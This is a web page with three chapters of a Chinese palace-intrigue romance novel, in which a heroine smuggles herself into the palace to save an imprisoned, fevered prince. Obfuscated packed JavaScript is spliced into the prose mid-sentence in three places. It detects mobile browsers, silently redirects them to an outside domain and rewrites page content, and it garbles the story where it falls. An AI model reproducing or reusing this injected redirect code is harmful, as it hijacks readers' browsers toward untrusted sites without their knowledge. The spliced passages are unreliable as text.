麒麟卫没想到,李凭如半夜会出现在王府门前。 为首宋将军当然认得这是皇后侄女,也是赵琮昀侧妃,不敢怠慢,急忙上前打招呼,却顺手被李凭如甩了个耳光。 “滚开!让我进去!” 宋将军脸颊涨得通红:“我等奉圣上命令看守王府,任何人不得进出,侧王妃请回吧!” 李凭如喝道:“你还知道我是侧王妃?我回自己的王府,有什么问题?皇上下旨说的是不得出府,可没说不能进去!你别拿着鸡毛当令箭诓我!” 宋将军很无语,现在王府乃全京城人人避之不及的是非之地,她明明已经置身事外了,偏要往回闯,是不是脑子有病? 可他嘴里当然不敢这么说,只问道:“不知侧王妃要回府做什么?” “杀人!” 李凭如猝不及防将他腰间长剑拔了过来,架在他脖子上:“你让我进去!否则第一个杀的就是你!” 既得罪不起,又不违反规定,宋将军觉得没必要跟个疯女人硬刚,他对下属使了个眼色,两名侍卫立即将府门打开:“侧王妃息怒!您请进!” 李凭如拨开众人,倒提长剑,瘸着一只腿跌跌撞撞往参园直冲而去! 她边走边厉声喊:“小妖精,你给我滚出来!我要杀了你给王爷报仇!” 31. 第 31 章 听到李凭如声音时,岳明明正和东叔一起烤橘子。 岳明明此刻酒足饭饱,已不复刚下床时的软脚虾模样,冷笑一声“来的正好”,起身便迎了出去。 东叔怕出事,紧随其后,刚出门就见寒光一闪,李凭如拿长剑当菜刀,用足十成十蛮力朝岳明明挥去。 岳明明道了句:“东叔你别管!”抬手抄过挂在门廊处的一盏提灯,那红木长柄异常结实,被少女拿在手中连削带打,舞得灯影乱晃。 李凭如平日娇生惯养,哪里真的会使剑,才挥几下手臂就已酸胀无力,再加上腿脚不便,一不留神被岳明明打中手腕,长剑顿时飞落,岳明明下手也不留情,再一棍结结实实抽在李凭如膝盖处,李凭如痛呼一声顷刻跪在当场。 “侧王妃姐姐金尊玉贵,在宫里又有皇后娘娘撑腰,怎么舍得给我跪下了呢?”岳明明擎着灯笼冷冷看她。 “我……我跟你拼了!” 李凭如不死心,扑过来还要再战,岳明明将木柄抵在她心口,凶巴巴道:“我现在心情不好,劝你别惹我!否则皇后娘娘的账,我一道算在你头上!” “小贱人,你是不是外面有了野男人,成心害死王爷?你老实交代,是不是上次玉湖那人?你们串通一气,要把王爷置于死地!” 李凭如像疯狗一样胡乱咆哮,岳明明脸色一沉:“李凭如你脑子进水了吗?分明是你和皇后勾搭着在背后搞鬼,现在赖在我头上,能要点脸吗?” “胡说!我怎么可能害王爷!”李凭如忽然哭出来:“不是我……我没有!姑姑她不是这样说的!” 岳明明眸光动了动,压在她心口的木柄抬起半寸:“敢做不敢当……现在知道后悔了?找你姑姑哭去,别在我这里撒泼打滚,我不会同情你的!” “谁要你同情?”李凭如叫道:“我只后悔对你不够狠,始终没要了你的命!” 岳明明道:“嘴够硬,够真诚……只可惜没长脑子……” 她目光一凝:“我猜这蠢事是你自己的主意吧?皇后娘娘一定不知道!下次再想杀我,别自己来……你瞧你现在,打也打不赢,说也说不过,没劲透了!” 李凭如气得浑身颤抖:“休要攀扯出我姑姑!不错,今天来取你贱命是我自作主张!我还真是小瞧了你的本事,落在你手里我自认倒霉,你杀了我吧,正好我与王爷黄泉相见,来世再做夫妻!” 岳明明听不下去了:“你自己要死就去死,还想拉着王爷陪你?别做梦了!我告诉你,就算皇上和皇后想要他的命,我也有办法救他!” 令岳明明意外的是,李凭如听到这话不但没与她对骂,反而挺身直愣愣瞪着岳明明:“你什么意思?你有办法了?” 岳明明不过胡乱说一嘴,只为气势上不输,哪里真有什么办法,被她一问立刻噎住。 “……你骗人的?!” 李凭如眼中失望至极,重新跌坐地上,似哭似笑道:“我居然信了你的鬼话……哈哈哈,哈哈哈!” 她突然恶狠狠拨开灯笼柄,踉跄起身,再不管任何人,口中喃喃道:“永商宫我进不去,她们都拦着我……那我就回府等你……我们当初在这里成亲,等你做了鬼,再来这里接我好不好?” 岳明明蹙眉与东叔对视一眼,东叔横跨几步,将李凭如拦下:“不知侧王妃此言何意?” “我要回我的园子,你让开!” 东叔不动,李凭如斜睨他一眼:“往日还以为你多忠心,到最后不还是贪生怕死?只有我是真心爱他,愿意与他同生共死……他会知道的!” 东叔声音透着前所未有的恐慌:“……请侧王妃告知,王爷究竟怎么了?” 李凭如静静看着他,就是不开口。 岳明明好像被人抽掉了骨头,手脚发软,几乎站立不住。李凭如的沉默快把她逼疯了,可她不敢上前,不敢说话,生怕李凭如为了跟她赌气,拒绝吐露真相。 不知过了多久,李凭如的声音终于压过擂鼓般的心跳,落在她耳畔—— “昨夜开始王爷便高烧不退,看守的麒麟卫用了许多法子都没用,听说现在人已经昏迷了……再这么下去……恐怕……” 东叔又急又怒:“麒麟卫怎么懂治病!为什么不找太医?他可是亲王啊……你们如此对他,皇上知道吗?” 李凭如脸色极不自然地偏过头去,岳明明在她身后轻声道:“是皇后娘娘……她拦着对吧?” 李凭如身子颤了颤,最后泣声道:“我一直求姑姑,可她根本不听……还派宫人跟着我,不许我去找皇上……” 东叔立刻道:“我现在就进宫,我去禀告皇上!” 岳明明也慌得不行,脑中却尚存一线清明:“东叔……那不叫进宫,叫闯宫!” 她顿了顿,待呼吸渐渐平稳,才继续道:“况且外面还有麒麟卫,你只要行动,立刻会被发现,到时候不但送不去消息,连自己也会搭进去的!” 东叔去意坚决:“娘子说的对!可今晚这宫我必须闯!哪怕有一线生机,我也要试一试!以我和我手中这些暗卫,怎么也能杀出一套血路!” 岳明明却突然向李凭如道:“……你不是说皇后一直派人跟着你,又怎么会由着你出宫?” 李凭如一怔,下意识道:“我趁人不备偷跑出来的……我手中有姑姑给的进出宫令牌,所以一路没人拦着。” “是真的没人拦,还是故意不拦?” 李凭如不解道:“你什么意思?!” 岳明明转向东叔,正色道:“我不相信关键时刻,皇后会任凭她在外面乱跑……会不会皇后故意放她出来送消息,只为引你和暗卫此时出手?” “就算你们真能杀进宫里,你觉得皇上会相信你们只是为了求他医治王爷吗?” 东叔:“娘子的意思是……” 岳明明叹道:“你们有能力杀到皇上面前,也就有能力杀了皇上。” 东叔神色一凛,李凭如更是不敢置信:“你……你说姑姑在利用我?” 岳明明心里大骂,你个傻子,她利用你还少吗?可看着此人红肿的眼睛,她咽下无关的话,只道:“如何发落王爷,只在皇上一念之间……他如今还在犹豫,所以皇后要逼你们再添一把火。王爷被幽禁还不够,她要的是斩草除根。” 李凭如不服气道:“你凭什么这么说?你有什么证据?” 岳明明瞪她:“你姑姑是什么样的人你第一天知道吗?我没工夫给你找证据,你爱信不信!” 东叔却立刻明白过来,颓然道:“如此说来……没有办法了吗?” 岳明明强迫自己冷静思考:“如今我们面临三道阻碍:出府、进宫、见皇上。”她沉吟片刻,蓦地抬头:“或许我们可以换个思路……” “我们不去见皇上了,我们去永商宫,给王爷治病!” 东叔和李凭如皆是一怔,李凭如冷冷道:“你当我没想过吗?昨夜我就想去送药,可麒麟卫重重把守,如何进得去?” “你进不去,不代表别人进不去!”岳明明对东叔眨眨眼:“用飞的……您觉得行不行?” 东叔想了想:“若是精通轻功,的确可以试一试……我和暗卫们轻功自然没问题,最难的恐怕是出府和进宫这两步。” “这两步她可以。”岳明明指着李凭如。 “你到底在说什么?”李凭如被绕蒙了:“我总不能现学轻功去!” 岳明明深深吸了口气:“我有个主意,需要所有人配合!” 她把脑海中的计划迅速过了一遍,自认漏洞不是太大,才缓缓开口道:“此刻千万不能动暗卫,万不得已,不能让皇上知道王爷手中藏着这股力量……东叔,待会儿需要你悄悄出府一趟,不过不是进宫,而是去长福寺!” “这个时辰去长福寺?”东叔疑惑。 “对,我听说王爷生母李贵妃在那儿供着一盏长明灯,你去烧柱香,添点灯火钱,然后原路返回……若有人追究,你就说心疼王爷,为王爷祈福去了,这样即使定罪,总不算大错。” “此行用意是……” “调虎离山!”岳明明沉声道:“如果皇后真是故意的,一旦你有所行动,定会引走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700307|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大部分守卫,届时王府外的警戒就会松懈,”她指着李凭如:“她再胡搅蛮缠一番,剩下的人不会把她当回事,睁一只眼闭一只眼,很容易放她离开。” 她停顿了一下:“而我……就可以跟着她一起走!” “她手里有令牌,出府后我扮成丫鬟跟着她,更容易混进宫去。我想永商宫毕竟在宫内,守卫不会像王府和宫门口这么严格,我可以试着闯一闯。” 东叔听懂了她的用意,忍不住确认道:“……娘子真的懂轻功?那毕竟是皇宫大内,稍有不慎,可是诛九族的死罪!” 岳明明轻笑了一下:“东叔你忘了,我哪里还有九族可以连累……我家早被抄了,要说家人……王爷算是吧。如果他死了,跟诛我九族也没什么差别。” 这番话说得东叔一阵心酸:“你们两个……叫我说什么好呢?”他长叹道:“我本不该让你涉险,可眼下我真的束手无策,只要娘子吩咐,一切听你的!” 岳明明点头:“你放心,我不是去找死的!我会努力和他一起活下来!” 李凭如突然插口道:“你们倒是好算计!你凭什么觉得我会帮你?” 她唇角噙着一抹冷笑,眼里恨意升腾:“小贱人,我要你跪下来认错,像狗一样祈求我……说不定我会答应你!” 东叔不想功亏一篑,撩衣衫就要跪倒求情,岳明明却出手拦住他:“这件事必须是她真心愿意帮忙,若是你求她,她一时心情好答应,中途再反水,咱们都得死。” 她目光熠熠望着李凭如,语气郑重而诚恳:“以上就是我的全部计划,我对你和盘托出,你自己决定要不要帮我。我不逼你,但也不会求你。” “你!”李凭如叫道:“这点委屈你都受不了……我就知道你对王爷根本不是真心的!” “你对他又有几分真心?”岳明明冷冷问:“你逼他屈从皇后懿旨娶你的时候,你在府中布满眼线监视他的时候,你每次跟你姑姑告密的时候,你联合别人算计他的时候……你的真心在哪里呢?” 李凭如仿佛被人扇了一巴掌,她颤抖着嘴唇发狠道:“我可以跟他一起死!” 岳明明寒声道:“我再说一遍,你想死就自己去死,不要拉上他!他还有满腔抱负,还要把所学之才用在江山社稷上,还想看到一个河清海晏、天下太平的盛世!他不能死!” 说罢这番话,不止李凭如,连东叔都怔怔看着她,仿佛从未认识她一样。 李凭如呆了片刻,突然捂住脸嚎啕大哭起来。她崩溃地发现,不知从何时起,她对他的感情渐渐迷失了方向,而最初那个让她心动的、非他不嫁的,不正是岳明明话语中那个满腔热忱的少年郎? 岳明明不说话,也不安慰,静静看着她哭。 过了许久,李凭如起伏的胸口渐渐平静,她哑着嗓子道:“你这计划但凡中间有一点差错被人撞破,我都会直接把你供出去,就说是你胁迫我!” “好。”岳明明道。 “我只把你带进宫,进了宫后你的死活我一概不管!” “好。” “我中途也许害怕,也许反悔,更随时可能会向皇后揭发你!” “好。” 东叔忍不住道:“侧王妃……” 李凭如挑眉:“她都不怕,你怕什么?” 岳明明笑了一下,请东叔去备药,自己回房换了身夜行衣,过不多时,三人再聚于园中,一切准备就绪。 “娘子万事小心。”东叔嘱咐道。 岳明明点头,手心微微冒汗,她提醒自己这个时候千万不能掉链子。 “你到底行不行?”李凭如看出她紧张,冷声道:“待会儿我的马车会路过后巷,时间不多,你别磨蹭!” “知道了!” 李凭如转身离开,走了两步,突然又回头道:“万一门口守卫看得紧,我还知道一个办法出府。” 她挑衅似的道:“我那园子里有个隐秘的狗洞,你要不要钻?” 岳明明心说你就非把我当狗是吧?然而嘴上却应得痛快:“我钻!求之不得!” 32. 第 32 章 永商宫外,星月无声,岳明明站在阴影中,默默对着高墙深呼吸。 她在等李凭如的信号。 她们事先商议好,李凭如去殿前假意探望,吸引麒麟卫注意,岳明明则趁乱翻墙。 很快有嘈杂声传来,夹杂着女子哭喊,在寂静的皇宫内显得格外清晰。 机不可失! 岳明明紧了紧背上包袱,不再犹豫,贴墙飞身而上,动作不算优雅,好在李凭如给她选的这处宫墙比周围稍矮几分,就在她一口气快提不上来的时候,堪堪搭住了墙头。 手掌擦破了,火烧火燎地疼,岳明明顾不上这些,稳了稳身形,下一刻悄然落入院中。 结果眼前是一幅她没想到的场景——花园荒废已有年头,断瓦残垣中,杂草丛生,连风都比其他地方冷上三分。 岳明明微微打个寒战,赶忙隐身荒草中,朝殿内摸了过去。 空无一人的大殿,没有半点人气,好处是也没有宫人值守。几盏快要燃尽的烛火忽明忽灭,显得鬼气森森,炭盆更是一个都没瞧见。 岳明明不敢想象赵琮昀居然被关在这种地方!别说他一个病人,就算好人也要吓疯了! 她加快脚步,终于在后殿唯一有光的房间,找到了赵琮昀。 他一动不动躺在床榻中央,面容苍白而安静,单薄的被子覆住身体,胸口看不见一丝起伏。 岳明明心陡然一沉,手脚发软走过去,直到探上他清浅的呼吸,才长长吐出一口气。 她打开包袱,按东叔叮嘱将一粒灵犀丹化在水里,又佐了其他几味药材,轻轻扶起赵琮昀,尝试给他喂药。 赵琮昀似乎恢复了一点意识,他蹙着眉头,口中喃喃念了句什么,岳明明没听清,只见他青白的嘴唇越闭越紧,显然十分抗拒。 “赵琮昀……是我!你能听到吗?”岳明明凑到他耳边唤道。 赵琮昀睫毛动了动,对她的话有了反应,岳明明一喜:“你得把药喝了!配合一下好不好?” 赵琮昀呼吸却陡然急促起来,像疼得难受,又像急着寻找什么,额头很快被冷汗打湿,岳明明吓得慌了神,眼见着药喂不进去,症状还突然加剧,她只能握住他的手,带着哭腔道:“喂喂……你别吓唬我……你要是死了我做鬼都不会放过你!” 这句莫名其妙的恐吓好像起了作用,赵琮昀冰凉的手试着去回握她,气力微弱,岳明明几乎以为自己产生了幻觉。 他呼吸渐渐稳下来,气若游丝地吐出几个字,这次岳明明贴过去,听清了。 “别哭……别怕……” 岳明明心狠狠揪了一下,她用力捏了捏他手心:“我在这里,你也不要怕!把药喝了,咱们一起回王府。” 赵琮昀仍闭着眼,嘴唇却配合地微微张开了一点,然而刚喝两口,他眉头又深深锁住,头抗拒着偏向一侧。 “……太苦。”几不可闻的声音里,居然听出了一股挑剔。 岳明明一怔,接着被逗笑了。 她扯过包袱,翻找半天,幸亏出发前她随手带上了一小罐桂花蜜。她想着幽禁的日子应该很苦,他或许需要一点清甜。 没想到此刻派上了用场。 岳明明终于哄着他把一碗药喝光,才放下心来。赵琮昀很快沉沉睡去,手上失了力气,却也没松开。 岳明明想出去探探永商宫的情况,却又不忍心撒手。他的手实在太凉了。 她蜷在床榻边,就着他平稳的呼吸默默想着心事,结果很不敬业地睡着了。 * 这一觉,岳明明睡得很不舒服。 睁眼时,她甚至忘了自己在哪里,四周昏黑一片,烛火早就燃尽了,微弱天光渗进来,反倒把屋子搅得更混沌。 岳明明感觉有一道目光盯着她。 她茫然四望,后知后觉地发现自己身上盖着被子,而原本躺着的赵琮昀,不知何时已经起身,倚靠在床榻另一侧,目不转睛看她。 “你……你醒了?”岳明明语气有惊喜,又有几分不确定。 赵琮昀实在有些瘆人。 他黑漆漆的瞳孔紧紧锁住她,眼里全是她读不懂的神情,没有死里逃生的欢喜,也没有对她出现在永商宫的好奇,他不知坐在那里看了她多久,像一具苍白易碎的雕塑,脸上只剩灵魂被抽离前一刻的执念。 “你现在感觉怎么样?”岳明明有些心虚地扯下被子,笨手笨脚递过去,想给赵琮昀盖。 他不客气地拂去她的手。 之前那个在病中仍试图安慰她、握住她手不放的人,好像是岳明明做的一个梦。 被子尴尬地落在两人中间,在寒冷房间里,反倒成了被遗弃的无用之物。 “……你到底怎么了?” “……你来干什么?” 两人同时开口,又是一阵沉默。 还是岳明明先服软,将进宫送药的一系列计划,原原本本讲给他听。 赵琮昀没道谢,等了一会儿,他冷冰冰地问道:“你这么反复玩弄我,有意思吗?现在又来假惺惺关心我的死活,怎么?又后悔了?可惜本王已成阶下囚,身上没有你需要的东西了……” 岳明明本想道歉,可赵琮昀阴阳怪气的态度刺痛了她,她很想反驳几句,结果面对赵琮昀憔悴的面容,最终还是默默咽了回去。 “不、用、你、来、可、怜、我!”赵琮昀看透她的欲言又止,一字一句愤怒地挤出牙关。 岳明明强压怒火,才没有把“不识好歹”四个字甩在他脸上,她紧紧攥着被角,指尖掐得发白。 再忍你一次……最后一次! 赵琮昀却像应激了一般,搜肠刮肚,专挑绝情的话讲:“枉我自负聪明,没成想栽在你手里……你这欲擒故纵的本事跟谁学的?你是不是也这样利用过李嗣,把他吃得死死的,怪不得他为你打架,即使你嫁人了还对你死心塌地……” 他一口气说了太多,禁不住急喘起来,却仍哑着嗓子讥诮地问:“我比他还傻,比他还好骗,是不是?” 岳明明看着他额角涔涔而下的冷汗,以及越发偏执的目光,静静说道:“你是不是烧傻了?” “我比任何时候都清醒。” “是吗?”岳明明看着他,淡淡笑了:“你知不知道……你怀疑我的样子,真的很像皇上,你们不愧是亲兄弟。” 赵琮昀呼吸窒了一下。 “行,随你怎么想。”岳明明觉得此刻任何一句解释,都足以让她委屈得哭出来。她现在不想哭。 “……你承认了?”赵琮昀说不上是满意还是失落,只觉一阵阵发冷,他微微侧过身子,用力撑住床沿,结果手上使不出力气,还是顺着床边往下滑了几分。 岳明明看在眼里,默不作声拉过包袱,又化了一粒药,连着蜂蜜一块递过去:“这药需要连吃三顿,现在是第二顿,你吃完我就走……看你生龙活虎,也有力气骂人,剩下的你自己来,没问题吧?” 赵琮昀没接。 他现在连抬手的力气都没有,只怕稍微一动,就再也撑不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14720998|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。 岳明明哪知道这些,以为他还在置气,语气也冷硬起来:“你不吃就是找死……你要是不想活了,也要等从这里走出去再死。王府一大帮人受你牵连,东叔一把年纪还要为你奔走,你别祸害别人!” 赵琮昀呼吸渐重,垂着眼眸,不知在想些什么。 “不喝是吧?”岳明明咬着嘴唇,气得声音发抖:“放心!我这就走,不留在这儿碍你的眼!” 她将药碗重重搁下,起身欲走。 赵琮昀突然开口,声音不复之前冰冷,透着明显的虚弱:“天马上就亮了,你往哪里走?” “关你屁事!管好你自己!” “是……我不长记性,多管闲事。”赵琮昀闭上眼睛,自嘲道:“我是怕你被麒麟卫射成刺猬,做了鬼还不放过我。” ……岳明明身形一顿,原来不是做梦,他分明都听见了。 她转身对上他复杂又炽热的眼神,鬼使神差往回迈了半步,心里酸涩地想,好像他们每次分别,都要大吵一通,留下糟糕透顶的回忆,和无穷无尽的后悔。 “……对不起。”岳明明不习惯道歉,这一句说得无比艰涩。 她努力说服自己,这次要好好告别。 赵琮昀闻言眸光一动,漆黑的瞳孔瞬间掀起风浪,几近溢出的委屈让岳明明再也挪不动脚步。 就在赵琮昀刚要开口的时刻,两人同时听到殿外响起一阵脚步,还有盔甲特有的金属声,正朝这个房间而来。 岳明明汗毛登时倒竖,环视一周,整个房间一览无余,根本避无可避。她下意识就要往外跑,赵琮昀不知哪里来的力气,死死攥住她手腕,把她往怀里一带,低低道了声:“上来!” 岳明明立刻明白了他的意思,也不推辞,抓过包袱钻到床塌里侧,赵琮昀迅速将药碗藏好,被子一抖,将两人齐齐罩住。 这被子一个人盖尚显单薄,现在又藏了个岳明明,实在有些吃力。好在房间昏暗,赵琮昀身形高大,他头朝里侧卧,将岳明明紧紧按在胸口,乍一看倒没什么破绽。 起码麒麟卫首领孟巡走进房间时,没看出任何异常。 他手里拎着食盒,默默打量赵琮昀背影,试探道:“王爷……卑职给您送早饭来了。” 他见赵琮昀不动也不说话,大着胆子又往前迈了一步,马上就要走到床跟前时,赵琮昀突然厉声道:“放肆!” 孟巡吓得一个激灵,赶忙后退:“卑职是关心王爷……并非有意冒犯。” 赵琮昀冷笑一声:“你是来看本王死没死吧?托皇后娘娘的福,尚有一口气,不劳你们费心惦记。食盒放桌上,滚回去复命吧!” 孟巡不情不愿垂首:“是。” 他总觉得赵琮昀声音有种虚张声势的逞强,临走前又忍不住朝床上瞥了一眼,赵琮昀背影似乎也比往日僵硬。 嘴硬……是快不行了吗? 孟巡眼中精光一闪,唇角翘起,是时候向皇后娘娘邀功去了…… 岳明明大气都不敢出,缩在赵琮昀怀里,听脚步声越来越远,直到大殿归于寂静,才默默松了口气。 “……他走了吧?”她悄声问。 赵琮昀胸腔一震,沉沉应了一声。 那声音离她如此之近,岳明明这才意识到两个人还抱在一起,慌忙就要挣脱:“那个……我这就下去……” 赵琮昀不但没放手,反抱她更紧,将头埋入她肩侧,声音闷闷地:“为什么要放弃……我实在不明白,你到底想要什么?” 33. 第 33 章 老实讲,赵琮昀的这个拥抱,并不舒服。 他太冷了,跟整个永商宫一样,人气稀薄,嶙峋的骨头更是压得岳明明呼吸不畅,只有贴近脖颈处的呼吸是微热的。 岳明明不知道该如何温暖这个人。和她想象中的拥抱完全不一样,没有脸红心跳,只余空落落的酸楚。 她伸出手,想拍拍他后背,还未等手落下,赵琮昀突然将她推开,嗓音冷淡:“你只当我犯贱……以后不会了。” 岳明明手还悬在半空,整个人被推懵了,眼见赵琮昀翻了个身,将后背朝向自己,一副不负责任的渣男模样。 上一秒抱完,下一秒就被赶下床,她大概是史上最惨游戏女主吧! 岳明明被气笑了。她伸出手指戳了戳赵琮昀后背:“喂,你把药喝了,喝完我有话跟你说!” 赵琮昀脊背颤了一下,沉默片刻,终于还是忍不住撑起身子,艰难去够那只药碗。 岳明明看出他行动勉强,在后面扶了一把,赵琮昀别扭地想甩开,岳明明却死活不撒手,两人僵持了一瞬,岳明明蓦地感觉臂弯里沉了沉。 他还是依靠了她。 岳明明监督他喝完药,蹑手蹑脚翻下床,去检查孟巡送来的食盒——里面只有一碗稀粥,一个馒头,两碟素菜,看起来毫无食欲。 “他们就给你吃这个?连个鸡蛋都没有……”岳明明皱眉,赵琮昀那么挑食,怪不得整个人瘦了一圈。 “这……会不会有毒啊?” 她摸摸头顶,试图找根银簪子来搅一搅,赵琮昀看不过去,哑声道:“他们不敢下毒……证据太明显了。” 他顿了顿:“我吃这些就够了……等送午饭时,我让他们加一份鸡蛋,你还想吃什么?” “……不是我吃,”岳明明瞪大眼睛:“是你需要补一补……肉蛋水果都得吃,病才好得快!” 赵琮昀淡漠道:“你还当我是王爷吗?金尊玉贵的日子,也许以后都不会有了。” 仿佛嫌气氛还不够紧张,他又好死不死地补充了一句:“你如果这么在意这些东西……不妨去找别人。” 岳明明脸上的笑意消失了。 她目不转睛盯着他,赵琮昀干脆闭上眼睛。下一刻,待他反应过来,离他极近的位置,掠过一阵太阳晒过的味道。 赵琮昀呼吸紧了紧,喉头滚动,最终抵不过那诱惑,赌气似的睁开眼睛。 岳明明趴在床边,以一种阴魂不散的姿态问道:“所以你就自作主张把我转给李嗣……赵琮昀,我是你养的宠物吗?需要你给我找下家?” “你瞧不上李嗣,是有其他人吗?”赵琮昀不甘示弱道。 岳明明哼了一声:“你跟李凭如真是绝配!一个听风就是雨,一个拼命给自己找绿帽子戴。” 赵琮昀紧紧抿住嘴巴,极度隐忍着,最后艰涩地挤出一句话:“因为我想不通……” 他本就是多疑的性格,这种犹疑在与她有关的事情上被无限放大,最终伤人伤己。可他控制不了。 岳明明轻轻叹口气,垂下眼眸思考了两秒钟,重新抬眼看他:“行……那我跟你说实话!” 赵琮昀心猛然一跳,好像一场旷日持久的审判,终于等来了结果。 他无法克制地重燃起一股微小的希望,她为他冒死入宫,这难道不能说明什么吗?可脑海中另一个小人立刻跳出来,冷冷提醒他:前一天她刚抛弃你,拒绝做你的王妃,让你的所有努力付诸东流。 “你说。”他轻声道。 岳明明:“咱们相处这么久,你应该发现我不同寻常了吧?” 赵琮昀:“……” 岳明明用一种豁出去的语气道:“其实我来自另外一个世界……” 她怕吓到赵琮昀,没敢直接说这里是游戏,委婉道:“你可以理解成‘附身’……我借了这具身体,但灵魂不属于这里。所以我说话做事跟你们不太一样,我还自带了一些技能,比如懂点武功,能搞到‘还阳丹’,还能查出很多你们不知道的信息……” 赵琮昀静静听着,脸色比刚刚苍白了几分,岳明明把这理解成……这货怂了! “放心,我不会害你的。”她笑着安慰道。 “所以……到底为什么?”赵琮昀声音发颤。 岳明明认真道:“你还不明白吗?我不属于这里,我有一天要离开的!我不能骗你,做了半年王妃再跑路,到时候你怎么办呢?” 赵琮昀忽地笑了:“这就是你常常提起的‘半年’期限?” 岳明明点点头,很高兴赵琮昀头脑清晰,一点就透。 赵琮昀合上眼睛,长长吐出一口气,似悲似叹:“……难为你编出这么一个故事。” “我说过……我不会求你,也不会纠缠你。今夜你离开之后,我希望咱们……此生不复相见!” “你不信?”岳明明不傻,从他这套佯装平静的说辞背后,听出了浓浓的讽刺和愤怒。 赵琮昀睁开眼睛,眸光有些奇异的涣散:“你知道皇兄为什么把我关在这里吗?” “此处原是我母妃的寝宫,先皇赐名‘灼华宫’,后来他们感情生变,我母妃愤然离宫,独居于参园,先皇怒而将‘灼华’改为‘永商’,取‘参商永诀’之意。” “人生不相见,动如参与商。”他喃喃道:“他们带着对彼此的恨,至死也没有再见。永商宫本身,就是一个诅咒。” “也许我不该把你带去参园……从那天开始,结局就注定了。我以为我可以逃离他们这段感情的阴影,我以为我不会像皇兄那样多疑……可是你看,我什么都改变不了……这就是我的命运。” 他眉宇间闪过颓然之色:“我认命了。” 岳明明万万没想到,自己说了真话,反惹得赵琮昀更加灰心,甚至自暴自弃。 她急道:“我说的都是真的!你要怎样才能相信我?要不……我给你展示一下我的能力……刚刚那个送饭的,我没见过他,更不认识他,你告诉我他的名字,我就能说出很多他不为人知的信息!” 赵琮昀疲惫地笑了一下:“好啊……他叫孟巡。你想说什么?” 用的是哄小孩的语气。 孟巡的八卦立刻出现在岳明明脑海中,可她忽然哽住了。 她要怎么说呢?孟巡少年时偷过隔壁家的鸡,暗恋教书先生的小女儿,娶妻后瞒着老婆在外面偷腥,青楼姑娘为他打过胎……这些乱七八糟,如何说服赵琮昀? 他只会更气,气她连一个像样的谎言都懒得编,偏偏用这些神棍似的东西敷衍他。 岳明明从没这么嫌弃过自己的系统! 赵琮昀无比悲哀地看了她一眼,缓缓转过身:“抱歉,我累了,想睡会儿。” 岳明明心头沉甸甸喘不过气,他的背影近在眼前,却像隔了千山万水。 “那……我出去看看。我不走远,就在附近房间转一转,看能不能再找条被子。” “嗯。”赵琮昀闷哼了一声,连句叮咛都没有说。 岳明明失魂落魄地往外走,她离开前不甘心地又打了个招呼,这次赵琮昀什么都没有说,像是睡着了。 可岳明明知道他根本没睡,她忧伤地想,完蛋……彻底搞砸了。 * 午饭时,孟巡从外面带来一名御医。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751628|146413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 副统领皱了皱眉,悄声提醒:“孟头,圣上有旨谁都不能进,御医也不行。” 孟巡叹口气:“我当然知道……可你也瞧见王爷的病情了,再这么拖下去,我真怕出意外啊!” 他凑到副统领耳边:“王爷与圣上毕竟是亲兄弟,万一里面这位有个三长两短,圣上反悔,到时候担责的可是咱们……照顾不周、知情不报、苛待皇亲,这里面哪一条罪落下来,还有你我的命在?” 副统领神色一凛:“属下明白了!多谢孟头提点!” 孟巡笑笑:“行了,知道你最守规矩,过些日子待此事了结,我给你讨个赏赐,不会亏待兄弟!”说罢带着那名御医,堂而皇之进入了永商宫。 副统领当时如果再看仔细一点,就会发现这位“御医”气息匀长,脚步轻盈,显然是个功夫不俗的练家子。 待离得远了,孟巡对那“御医”低声道:“瞧见刚才那人了吧?待会儿别留活口。” “御医”冷冷点头,两人走入大殿。 赵琮昀满腹心事,睡得很轻,外面稍有响动便惊醒了。 他瞧了眼天色,猜测是麒麟卫来送午饭时间,可岳明明还没有回来! 脚步声越来越近,赵琮昀心顿时悬起来,生怕岳明明不知死活做出些莽撞事。他强撑一口气起身,定了定神,正思考如何迅速把人打发掉,大殿深处某个房间突然传出一点动静。 声音不大,却足够要命! 不仅他听到了,孟巡二人也听到了! 脚步声戛然而止,大殿极度安静,透着一股令人压抑的紧张。蓦地,脚步再次响起,却不再朝赵琮昀方向,而是往响动处摸去。 赵琮昀踉跄着追过去。 这里是永商宫最内侧的一个偏殿,门前摆着一面巨大屏风,将天光遮得严严实实,孟巡探头望了望,屋内幽黑一片,连陈设都看不真切。 他隐约记起,永商宫内有间屋子曾被先皇明令封禁,不知是不是眼前这个。 “……王爷?您在里面吗?”孟巡试着招呼,同时对“御医”使个眼色,两人一左一右,从屏风两侧分别绕了进去。 